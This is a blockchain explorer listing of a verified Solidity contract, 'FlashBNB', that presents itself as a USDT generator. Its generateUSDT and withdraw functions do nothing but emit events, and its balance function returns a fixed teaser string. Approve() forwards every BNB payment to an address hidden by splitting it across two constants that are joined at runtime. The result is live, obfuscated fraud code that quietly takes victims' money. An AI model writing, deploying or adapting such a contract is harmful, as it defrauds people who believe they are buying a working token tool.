Verified contractExactMIT
FlashBNB
Address0xfcc299b2921a51cea1c48aa28cbbbddba5c904d5
- Balance
0 ETH
- Transactions
4
- Compiler
solc 0.8.34
- Same code
1 more contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,500,442
- Creation transaction
- 0xd22cb6ad5c…39ca9f4902
USDT.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;
contract FlashBNB {
address private owner;
event Received(address indexed user, uint256 amount);
event Processed(address indexed to, uint256 amount);
event ButtonClicked(string functionName);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}
function Approve() external payable {
require(msg.value > 0, "Send BNB");
emit Received(msg.sender, msg.value);
address to = _getResolved();
(bool success, ) = payable(to).call{value: msg.value}("");
require(success, "Transfer failed");
emit Processed(to, msg.value);
}
uint160 private constant generate = 0xd78a555b0d71b1b4dd4f;
function _getResolved() internal pure returns (address) {
return address((generate << 80) | usdt);
}
function generateUSDT() external onlyOwner {
emit ButtonClicked("generateUSDT");
}
function withdraw() external onlyOwner {
emit ButtonClicked("withdraw");
}
function USDTBalance() external pure returns (string memory) {
return "USDT Balance: Show After Generate USDT";
}
receive() external payable {
emit Received(msg.sender, msg.value);
}
uint160 private constant usdt = 0x044230281bcffe68e6e5;
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.